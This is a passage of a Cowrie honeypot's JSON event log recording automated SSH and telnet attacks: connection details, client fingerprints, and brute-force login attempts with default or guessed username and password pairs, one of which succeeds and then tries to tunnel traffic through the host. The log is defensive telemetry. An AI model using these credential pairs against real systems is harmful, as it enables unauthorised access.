com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:41.075793Z","src_ip":"87.251.64.176","session":"c40c027be865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:41.235862Z","src_ip":"91.92.42.227","session":"0497ed6c0944","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:41.357516Z","src_ip":"87.251.64.176","session":"c40c027be865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:41.453457Z","session":"c40c027be865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:41.551638Z","src_ip":"87.251.64.176","session":"c40c027be865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:41.784016Z","src_ip":"87.251.64.176","session":"c40c027be865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59976,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dbf1703dcd4","protocol":"ssh","message":"New connection: 91.92.42.227:59976 (10.17.0.5:22) [session: 2dbf1703dcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:43.885911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:44.403248Z","src_ip":"91.92.42.227","session":"2dbf1703dcd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:44.410563Z","src_ip":"91.92.42.227","session":"2dbf1703dcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.254785537719727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:46.132310Z","src_ip":"102.37.220.188","session":"97a939de4e1d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:46.960852Z","src_ip":"91.92.42.227","session":"2dbf1703dcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:48.647628Z","src_ip":"91.92.42.227","session":"2dbf1703dcd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47388,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd412346f5c7","protocol":"ssh","message":"New connection: 91.92.42.227:47388 (10.17.0.5:22) [session: fd412346f5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:50.696466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:51.176841Z","src_ip":"91.92.42.227","session":"fd412346f5c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:51.178668Z","src_ip":"91.92.42.227","session":"fd412346f5c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:53.388948Z","src_ip":"91.92.42.227","session":"fd412346f5c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:54.965256Z","src_ip":"91.92.42.227","session":"fd412346f5c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":33328,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b871475e524","protocol":"ssh","message":"New connection: 194.113.233.25:33328 (159.203.135.109:22) [session: 6b871475e524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:57.224344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:57.231104Z","src_ip":"194.113.233.25","session":"6b871475e524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:57.324416Z","src_ip":"194.113.233.25","session":"6b871475e524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07021985","message":"login attempt [root/07021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:57.604986Z","src_ip":"194.113.233.25","session":"6b871475e524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37950,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f72cade3092","protocol":"ssh","message":"New connection: 91.92.42.227:37950 (10.17.0.5:22) [session: 6f72cade3092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:57.798560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:58.199870Z","src_ip":"91.92.42.227","session":"6f72cade3092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:58.203413Z","src_ip":"91.92.42.227","session":"6f72cade3092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:13:58.700004Z","src_ip":"194.113.233.25","session":"6b871475e524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:00.187415Z","src_ip":"91.92.42.227","session":"6f72cade3092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":47992,"dst_ip":"159.203.135.109","dst_port":22,"session":"81a381c189c5","protocol":"ssh","message":"New connection: 94.159.110.201:47992 (159.203.135.109:22) [session: 81a381c189c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:00.740282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:00.747202Z","src_ip":"94.159.110.201","session":"81a381c189c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:00.864640Z","src_ip":"94.159.110.201","session":"81a381c189c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05061982","message":"login attempt [root/05061982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:01.215618Z","src_ip":"94.159.110.201","session":"81a381c189c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:01.965860Z","src_ip":"91.92.42.227","session":"6f72cade3092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:02.334320Z","src_ip":"94.159.110.201","session":"81a381c189c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37990,"dst_ip":"10.17.0.5","dst_port":22,"session":"a918fec938fe","protocol":"ssh","message":"New connection: 91.92.42.227:37990 (10.17.0.5:22) [session: a918fec938fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:04.326201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:04.782366Z","src_ip":"91.92.42.227","session":"a918fec938fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:04.785923Z","src_ip":"91.92.42.227","session":"a918fec938fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:05.211640Z","src_ip":"147.45.211.215","session":"8fc241cca3b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:07.638361Z","src_ip":"91.92.42.227","session":"a918fec938fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:09.230341Z","src_ip":"91.92.42.227","session":"a918fec938fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55836,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c7e889b01ec","protocol":"ssh","message":"New connection: 91.92.42.227:55836 (10.17.0.5:22) [session: 5c7e889b01ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:11.200610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:11.834995Z","src_ip":"91.92.42.227","session":"5c7e889b01ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:11.837940Z","src_ip":"91.92.42.227","session":"5c7e889b01ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:14.440837Z","src_ip":"91.92.42.227","session":"5c7e889b01ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:16.598127Z","src_ip":"91.92.42.227","session":"5c7e889b01ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49698,"dst_ip":"10.17.0.5","dst_port":22,"session":"13253012afbe","protocol":"ssh","message":"New connection: 91.92.42.227:49698 (10.17.0.5:22) [session: 13253012afbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:18.139626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:14:18.672359Z","src_ip":"91.92.42.227","session":"13253012afbe","protocol":"ssh"}
